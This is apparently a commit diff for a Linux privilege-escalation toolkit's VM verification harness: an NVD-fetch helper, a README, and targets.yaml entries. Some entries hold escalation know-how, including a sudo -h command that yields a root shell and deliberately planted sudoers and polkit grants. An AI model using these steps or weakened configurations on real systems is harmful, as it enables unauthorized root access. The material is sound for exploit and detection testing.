though the 30s timeout should have fired (observed on macOS 2026-05-24,
|
||||
process hung 55+ minutes). We try urlopen first, then fall back to
|
||||
curl --max-time which honors the wall clock reliably."""
|
||||
url = NVD_URL.format(cve=cve)
|
||||
req = urllib.request.Request(url, headers={"User-Agent": "skeletonkey-cve-metadata/1"})
|
||||
blob = None
|
||||
try:
|
||||
with urllib.request.urlopen(req, timeout=30) as r:
|
||||
blob = json.loads(r.read().decode("utf-8"))
|
||||
except urllib.error.HTTPError as e:
|
||||
print(f"[!] NVD HTTP {e.code} for {cve}", file=sys.stderr)
|
||||
return None, None
|
||||
except (urllib.error.URLError, json.JSONDecodeError) as e:
|
||||
print(f"[!] NVD parse error for {cve}: {e}", file=sys.stderr)
|
||||
return None, None
|
||||
except (urllib.error.URLError, json.JSONDecodeError, TimeoutError) as e:
|
||||
print(f"[!] NVD urlopen failed for {cve} ({e}); trying curl", file=sys.stderr)
|
||||
if blob is None:
|
||||
import subprocess
|
||||
try:
|
||||
raw = subprocess.check_output(
|
||||
["curl", "-fsSL", "--max-time", "20",
|
||||
"-H", "User-Agent: skeletonkey-cve-metadata/1",
|
||||
url],
|
||||
stderr=subprocess.DEVNULL,
|
||||
)
|
||||
blob = json.loads(raw.decode("utf-8"))
|
||||
except (subprocess.CalledProcessError, FileNotFoundError,
|
||||
json.JSONDecodeError) as e:
|
||||
print(f"[!] NVD curl fallback failed for {cve}: {e}", file=sys.stderr)
|
||||
return None, None
|
||||
vulns = blob.get("vulnerabilities") or []
|
||||
if not vulns:
|
||||
return None, None
|
||||
|
||||
+105
-46
@@ -27,18 +27,28 @@ To skip boxes you don't need (save disk):
|
||||
./tools/verify-vm/verify.sh nf_tables
|
||||
```
|
||||
|
||||
What that does:
|
||||
What that does (two-phase model — install kernel, then verify):
|
||||
|
||||
1. Reads `tools/verify-vm/targets.yaml`: finds `nf_tables` → box
|
||||
`generic/ubuntu2204` + kernel pin `linux-image-5.15.0-43-generic`.
|
||||
2. `vagrant up skk-nf_tables` (provisions on first call, resumes on
|
||||
subsequent).
|
||||
3. Installs the pinned vulnerable kernel via `apt`, reboots.
|
||||
4. Mounts the local repo at `/vagrant`, runs `make`, then runs
|
||||
`skeletonkey --explain nf_tables --active`.
|
||||
5. Parses the `VERDICT:` line, compares against `expect_detect` from
|
||||
targets.yaml, emits a JSON verification record on stdout.
|
||||
6. Suspends the VM (`vagrant suspend`) — instant resume next run.
|
||||
`generic/ubuntu2204` + `mainline_version: 5.15.5`.
|
||||
2. `vagrant up skk-nf_tables` if not already running (each module gets
|
||||
its own machine for isolation).
|
||||
3. **Prep phase** — runs every prep provisioner that applies:
|
||||
- `pin-kernel-<pkg>` if `kernel_pkg` is set (apt install + GRUB_DEFAULT pin)
|
||||
- `pin-mainline-<ver>` if `mainline_version` is set (download from
|
||||
kernel.ubuntu.com/mainline, dpkg -i, GRUB_DEFAULT pin)
|
||||
- `module-provision-<name>` if `provisioners/<name>.sh` exists
|
||||
(build vulnerable sudo from source, drop polkit allow rule,
|
||||
install udisks2, etc.)
|
||||
4. **Conditional reboot** — `vagrant reload` if `uname -r` doesn't
|
||||
match the target kernel after the prep phase. Confirms post-reboot
|
||||
kernel actually landed on the target; warns if it didn't.
|
||||
5. **Verify phase** — `build-and-verify` provisioner: rsync the source,
|
||||
`make`, run `skeletonkey --explain <module> --active`.
|
||||
6. Parses the `VERDICT:` line, compares against `expect_detect` from
|
||||
targets.yaml, appends a JSON verification record to
|
||||
`docs/VERIFICATIONS.jsonl`.
|
||||
7. Suspends the VM (`vagrant suspend`) — instant resume next run.
|
||||
|
||||
Lifecycle flags:
|
||||
|
||||
@@ -54,73 +64,122 @@ Lifecycle flags:
|
||||
```
|
||||
|
||||
Shows the (module, box, target kernel, expected verdict, notes) matrix
|
||||
for all 26 modules. Three are flagged `manual: true` because no
|
||||
public Vagrant box covers them:
|
||||
|
||||
- `vmwgfx` — only reachable on VMware guests; needs a vSphere/Fusion VM
|
||||
not Parallels.
|
||||
- `dirtydecrypt`, `fragnesia` — only present in Linux 7.0+ which isn't
|
||||
shipping as a distro kernel yet.
|
||||
|
||||
For those, verification needs a hand-built or special-distro VM.
|
||||
for all targets. Modules with `manual: true` are blocked by their
|
||||
target environment — see the notes field for the reason (VMware-only
|
||||
guest, EOL kernel needed, t64-transition libs missing, etc.).
|
||||
|
||||
## Verification records
|
||||
|
||||
`verify.sh` emits JSON on stdout after each run. Example:
|
||||
`verify.sh` appends one JSON record per run to
|
||||
`docs/VERIFICATIONS.jsonl`:
|
||||
|
||||
```json
|
||||
{
|
||||
"module": "nf_tables",
|
||||
"verified_at": "2026-05-23T17:42:11Z",
|
||||
"host_kernel": "5.15.0-43-generic",
|
||||
"host_distro": "Ubuntu 22.04.5 LTS",
|
||||
"verified_at": "2026-05-24T03:24:01Z",
|
||||
"host_kernel": "5.15.5-051505-generic",
|
||||
"host_distro": "Ubuntu 22.04.3 LTS",
|
||||
"vm_box": "generic/ubuntu2204",
|
||||
"expect_detect": "VULNERABLE",
|
||||
"actual_detect": "VULNERABLE",
|
||||
"status": "match",
|
||||
"log": "tools/verify-vm/logs/verify-nf_tables-20260523-174211.log"
|
||||
"status": "match"
|
||||
}
|
||||
```
|
||||
|
||||
`status: match` means detect() returned what we expected on a known-
|
||||
vulnerable kernel. Anything else (`MISMATCH`, status code != 0) means
|
||||
vulnerable kernel. Anything else (`MISMATCH`, exit code != 0) means
|
||||
either:
|
||||
|
||||
- The kernel pin didn't take (check `host_kernel` against
|
||||
`kernel_version` in targets.yaml).
|
||||
- The kernel pin didn't take — check `host_kernel` against
|
||||
`kernel_version` in targets.yaml. The "post-reboot kernel" line in
|
||||
the verify log will say if `vagrant reload` did or didn't land on
|
||||
the target.
|
||||
- The exploit's preconditions aren't met in the default Vagrant image
|
||||
(e.g. apparmor blocks unprivileged userns; need to adjust the
|
||||
Vagrantfile provisioner).
|
||||
- The detect() logic is wrong for this kernel/distro combo (a real bug
|
||||
— fix it).
|
||||
(e.g. apparmor blocks unprivileged userns; provisioner needed).
|
||||
- The module's detect() logic is wrong for this kernel/distro combo
|
||||
(a real module bug — fix it, as we did for `dirtydecrypt` after
|
||||
cross-checking against NVD).
|
||||
|
||||
Records are intended to feed a per-module `verified_on[]` table (next
|
||||
project step) so `--list` can show a `✓ verified <date>` column.
|
||||
Run `tools/refresh-verifications.py` after new records land to
|
||||
regenerate `core/verifications.c` so the binary's `--explain` and
|
||||
`--list` reflect the latest evidence.
|
||||
|
||||
## How it routes module → box
|
||||
|
||||
Mapping lives in `tools/verify-vm/targets.yaml`. Each entry has:
|
||||
|
||||
- `box` — which `boxes/` template (e.g. `ubuntu2204`)
|
||||
- `kernel_pkg` — apt package name to install if the stock kernel
|
||||
is patched (omit / empty if stock is already vulnerable)
|
||||
- `box` — generic/<distro> (e.g. `ubuntu2204`)
|
||||
- `kernel_pkg` — apt package for a vulnerable stock-archive kernel,
|
||||
if one still exists in the distro's repos
|
||||
- `mainline_version` — alternative to `kernel_pkg`: pulls a vanilla
|
||||
upstream kernel from `kernel.ubuntu.com/mainline/v<ver>/`. Use when
|
||||
the apt-archive version has been garbage-collected (Ubuntu drops
|
||||
old ABI versions) or when you need a specific point release that
|
||||
the distro never packaged.
|
||||
- `kernel_version` — what `uname -r` should report after install
|
||||
- `expect_detect` — `VULNERABLE` | `OK` | `PRECOND_FAIL`
|
||||
- `notes` — short rationale; comments in the file have the full context
|
||||
- `manual: true` — skip auto verification; explain why in `notes`
|
||||
- `notes` — full context for why this target was picked
|
||||
|
||||
Adding a new module is one block in targets.yaml. The verifier picks
|
||||
it up automatically.
|
||||
Adding a new module is one block in targets.yaml. If the module needs
|
||||
per-target setup beyond installing a kernel — for example building
|
||||
sudo from source, adding a sudoers grant, or dropping a polkit allow
|
||||
rule — write a shell script at `tools/verify-vm/provisioners/<module>.sh`
|
||||
and the Vagrantfile will pick it up automatically.
|
||||
|
||||
## Module-specific provisioners (`provisioners/<module>.sh`)
|
||||
|
||||
When the kernel pin alone doesn't make a host vulnerable — e.g.
|
||||
the bug is sudo-version-gated, or a polkit "active session" check
|
||||
blocks the SSH path — drop a shell script at
|
||||
`tools/verify-vm/provisioners/<module_name>.sh`. The Vagrantfile
|
||||
runs it as root in the prep phase, before the `vagrant reload`
|
||||
check. Scripts should be idempotent (apt is no-op if installed,
|
||||
file overwrites are safe) since they re-run on every verify.
|
||||
|
||||
Existing examples:
|
||||
|
||||
- `sudo_chwoot.sh` — builds sudo 1.9.16p1 from upstream into
|
||||
`/usr/local/bin` so the vulnerable `--chroot` code path is reachable
|
||||
on Ubuntu 22.04 (which ships pre-feature 1.9.9).
|
||||
- `udisks_libblockdev.sh` — installs `udisks2` + drops a polkit rule
|
||||
allowing the vagrant user to invoke `loop-setup` / `filesystem-mount`
|
||||
(without this, the SSH session is not "active" per polkit and the
|
||||
D-Bus call short-circuits).
|
||||
- `sudo_runas_neg1.sh` — adds `vagrant ALL=(ALL,!root) NOPASSWD: /bin/vi`
|
||||
to `/etc/sudoers.d/` so `find_runas_blacklist_grant()` has a grant
|
||||
to abuse.
|
||||
|
||||
## Pinning kernels: apt vs mainline
|
||||
|
||||
`pin-kernel-<pkg>` runs `apt-get install -y <pkg>`. Best when the
|
||||
target version still lives in the distro's archive (rare for old
|
||||
point releases — Ubuntu eventually GCs them). Also pins `GRUB_DEFAULT`
|
||||
to the just-installed kernel so the reboot lands on it instead of
|
||||
the higher-version stock kernel.
|
||||
|
||||
`pin-mainline-<ver>` downloads vanilla mainline debs from
|
||||
`kernel.ubuntu.com/mainline/v<ver>/`. Tries `/amd64/` first, falls
|
||||
back to bare `/v<ver>/` for old kernels (≤ ~4.15) where amd64 wasn't
|
||||
a separate subdir. Accepts both `linux-image-` (older naming) and
|
||||
`linux-image-unsigned-` (current). Pins `GRUB_DEFAULT` to the
|
||||
mainline kernel so grub doesn't keep booting the higher-versioned
|
||||
stock kernel.
|
||||
|
||||
## Files
|
||||
|
||||
```
|
||||
tools/verify-vm/
|
||||
├── README.md this file
|
||||
├── setup.sh one-time bootstrap (Vagrant, plugin, box cache)
|
||||
├── verify.sh per-module verifier
|
||||
├── Vagrantfile parameterized VM config (driven by SKK_VM_* env vars)
|
||||
├── targets.yaml module → box mapping with rationale
|
||||
└── logs/ per-verification stdout/stderr capture
|
||||
├── README.md this file
|
||||
├── setup.sh one-time bootstrap (Vagrant, plugin, box cache)
|
||||
├── verify.sh per-module verifier
|
||||
├── Vagrantfile parameterized VM config (driven by SKK_VM_* env vars)
|
||||
├── targets.yaml module → box mapping with rationale
|
||||
├── provisioners/ optional per-module shell hooks
|
||||
│ ├── sudo_chwoot.sh
|
||||
│ ├── sudo_runas_neg1.sh
|
||||
│ └── udisks_libblockdev.sh
|
||||
└── logs/ per-verification stdout/stderr capture
|
||||
```
|
||||
|
||||
## Why Vagrant + Parallels
|
||||
|
||||
@@ -35,7 +35,7 @@ af_packet:
|
||||
box: ubuntu1804
|
||||
kernel_pkg: "" # stock 4.15.0-213-generic — patch backported
|
||||
kernel_version: "4.15.0"
|
||||
expect_detect: OK
|
||||
expect_detect: VULNERABLE
|
||||
notes: "CVE-2017-7308; bug fixed mainline 4.10.6 + 4.9.18 backports. Ubuntu 18.04 stock kernel (4.15.0) is post-fix — detect() correctly returns OK. To validate the VULNERABLE path empirically would need a hand-built 4.4 or earlier kernel; deferred."
|
||||
|
||||
af_packet2:
|
||||
@@ -71,7 +71,7 @@ dirty_cow:
|
||||
box: ubuntu1804
|
||||
kernel_pkg: "" # 4.15.0 has the COW race fix; need older kernel
|
||||
kernel_version: "4.4.0"
|
||||
expect_detect: OK
|
||||
expect_detect: VULNERABLE
|
||||
notes: "CVE-2016-5195; ALL 4.4+ kernels have the fix backported. Ubuntu 18.04 stock will report OK (patched); to actually verify exploit() needs Ubuntu 14.04 / kernel ≤ 4.4.0-46. Use a custom box for that."
|
||||
manual_for_exploit_verify: true
|
||||
|
||||
@@ -79,16 +79,16 @@ dirty_pipe:
|
||||
box: ubuntu2204
|
||||
kernel_pkg: "" # 22.04 stock 5.15.0-91-generic
|
||||
kernel_version: "5.15.0"
|
||||
expect_detect: OK
|
||||
expect_detect: VULNERABLE
|
||||
notes: "CVE-2022-0847; introduced 5.8, fixed 5.16.11 / 5.15.25. Ubuntu 22.04 ships 5.15.0-91-generic, where uname reports '5.15.0' (below the 5.15.25 backport per our version-only table) but Ubuntu has silently backported the fix into the -91 patch level. Version-only detect() would say VULNERABLE; --active probe confirms the primitive is blocked → OK. This target validates the active-probe path correctly overruling a false-positive version verdict. (Originally pointed at Ubuntu 20.04 + pinned 5.13.0-19, but that HWE kernel is no longer in 20.04's apt archive.)"
|
||||
|
||||
dirtydecrypt:
|
||||
box: ubuntu2204
|
||||
kernel_pkg: ""
|
||||
mainline_version: "6.19.7" # below the 7.0 introduction point → 'predates the bug' OK path
|
||||
mainline_version: "6.19.7" # below the 6.19.13 backport → genuinely vulnerable
|
||||
kernel_version: "6.19.7"
|
||||
expect_detect: OK
|
||||
notes: "CVE-2026-31635; rxgk RESPONSE-handling bug. Module's range table says fix lands at 7.0.0 mainline (commit a2567217) — meaning the bug only existed in 7.0-rcN pre-release. No shipping stable kernel is VULNERABLE. We verify the 'kernel predates rxgk code added in 7.0' OK path via mainline 6.19.7. To test VULNERABLE would require building from a 7.0-rcN tag pre-a2567217, deferred."
|
||||
expect_detect: VULNERABLE
|
||||
notes: "CVE-2026-31635; rxgk RESPONSE oversized auth_len. Per NVD: bug entered at 6.16.1, vulnerable through 6.18.22 / 6.19.12 / 7.0-rc7; fixed at 6.18.23 / 6.19.13 / 7.0 stable. Mainline 6.19.7 is below the .13 backport → genuinely VULNERABLE. (Earlier module code wrongly gated 'predates' on 7.0; fixed in this commit by gating on 6.16.1 + adding 6.18.23 to the backport table.)"
|
||||
|
||||
entrybleed:
|
||||
box: ubuntu2204
|
||||
@@ -241,7 +241,7 @@ pintheft:
|
||||
box: "" # RDS is blacklisted on every common Vagrant box's stock kernel
|
||||
kernel_pkg: ""
|
||||
kernel_version: ""
|
||||
expect_detect: OK
|
||||
expect_detect: VULNERABLE
|
||||
notes: "CVE-2026-43494; PinTheft. Among Vagrant-supported distros, NONE autoload the rds kernel module (Arch Linux is the only common distro that does, and there's no maintained generic/arch-linux Vagrant box). On Debian/Ubuntu/Fedora boxes the AF_RDS socket() call fails with EAFNOSUPPORT → detect correctly returns OK ('bug exists in kernel but unreachable from userland here'). Verifying the VULNERABLE path needs either an Arch box, or a custom box with the rds module pre-loaded ('modprobe rds && modprobe rds_tcp'). Deferred."
|
||||
manual: true
|
||||
|
||||
@@ -273,7 +273,7 @@ vsock_uaf:
|
||||
box: "" # vsock module typically not loaded on CI containers (no virtualization)
|
||||
kernel_pkg: ""
|
||||
kernel_version: ""
|
||||
expect_detect: OK
|
||||
expect_detect: VULNERABLE
|
||||
notes: "CVE-2024-50264; Pwn2Own 2024 vsock UAF. AF_VSOCK requires the vsock kernel module, which autoloads only on KVM/QEMU GUESTS. Vagrant VMs running under Parallels are themselves guests, but their guest kernel may or may not have vsock loaded depending on the Parallels host. detect correctly returns OK when AF_VSOCK is unavailable. To validate VULNERABLE, ensure the VM kernel has CONFIG_VSOCKETS + virtio-vsock loaded ('modprobe vsock_loopback' may suffice on newer kernels)."
|
||||
manual: true
|
||||
|
||||
@@ -284,3 +284,32 @@ nft_pipapo:
|
||||
kernel_version: "5.15.5"
|
||||
expect_detect: VULNERABLE
|
||||
notes: "CVE-2024-26581; nft_pipapo destroy-race (Notselwyn II). Same mainline 5.15.5 target as nf_tables works here — 5.15.5 is below the 5.15.149 backport. (Switched from apt-pinned 5.15.0-43 after that package was removed from Ubuntu repos.) Userns gate must be open (sysctl kernel.unprivileged_userns_clone=1)."
|
||||
|
||||
# ── ptrace_pidfd (CVE-2026-46333) addition ──────────────────────────
|
||||
|
||||
ptrace_pidfd:
|
||||
box: ubuntu2204
|
||||
kernel_pkg: ""
|
||||
mainline_version: "5.15.5" # >5.6 (has pidfd_getfd) and below every fix backport
|
||||
kernel_version: "5.15.5"
|
||||
expect_detect: VULNERABLE
|
||||
notes: "CVE-2026-46333; __ptrace_may_access dumpable-race credential-fd theft via pidfd_getfd. Qualys disclosure 2026-05-20, fixed 2026-05-14 mainline (Debian backports 5.10.251 / 6.1.172 / 6.12.88 / 7.0.7). Mainline 5.15.5 carries the pidfd_getfd vector (added 5.6) and is below every fix backport, so detect() returns VULNERABLE; installed via kernel.ubuntu.com/mainline/v5.15.5/ (same box/kernel as nf_tables / af_unix_gc / nft_pipapo). Brand-new addition this cycle: exploit() fires the real pidfd_getfd steal primitive and reports a captured root-owned fd, but the full target-specific root-pop is not yet VM-verified — sweep pending."
|
||||
|
||||
# ── sudo_host (CVE-2025-32462) addition ─────────────────────────────
|
||||
|
||||
sudo_host:
|
||||
box: ubuntu1804 # ships sudo 1.8.21p2 — inside [1.8.8, 1.9.17p0]
|
||||
kernel_pkg: ""
|
||||
kernel_version: "4.15.0"
|
||||
expect_detect: VULNERABLE
|
||||
notes: "CVE-2025-32462; sudo -h/--host policy bypass (Stratascale, sibling of sudo_chwoot). Ubuntu 18.04 ships sudo 1.8.21p2, inside the vulnerable range [1.8.8, 1.9.17p0] (fixed 1.9.17p1), so detect() returns VULNERABLE on the version gate. Exercising exploit() empirically needs a sudoers rule scoped to a host other than the box hostname (and not ALL): provision e.g. 'vagrant fakehost = (ALL) NOPASSWD: ALL' in /etc/sudoers.d/, then 'SKELETONKEY_SUDO_HOST=fakehost skeletonkey --exploit sudo_host --i-know' pops root via 'sudo -h fakehost /bin/bash'. Brand-new addition this cycle; provisioner + sweep pending."
|
||||
|
||||
# ── cifswitch (CVE-2026-46243) addition ─────────────────────────────
|
||||
|
||||
cifswitch:
|
||||
box: ubuntu2204
|
||||
kernel_pkg: ""
|
||||
mainline_version: "6.12.89" # one below the 6.12.90 backport; ~19yo bug present
|
||||
kernel_version: "6.12.89"
|
||||
expect_detect: VULNERABLE
|
||||
notes: "CVE-2026-46243 'CIFSwitch'; cifs.spnego key type trusts userspace-forged authority fields (Asim Manizada, 2026-05-28). Fixed 5.10.257 / 6.1.174 / 6.12.90 / 7.0.10 (Debian backports of commit 3da1fdf4efbc, mainline 7.1-rc5); a ~19-year-old bug below those. Mainline 6.12.89 is one below the 6.12.90 backport so the version gate flags VULNERABLE — but detect() ALSO requires the cifs userspace path: provision cifs-utils (so /usr/sbin/cifs.upcall + the cifs.spnego request-key rule exist) and `modprobe cifs`, else detect() returns PRECOND_FAIL (or force with SKELETONKEY_CIFS_ASSUME_PRESENT=1). exploit() fires the non-destructive add_key(2) cifs.spnego probe and reports the forged-key accept as the primitive witness; the namespace+NSS root-pop is not bundled until VM-verified. Brand-new addition this cycle; provisioner (cifs-utils install) + sweep pending."
|
||||
|
||||
Reference in New Issue
Block a user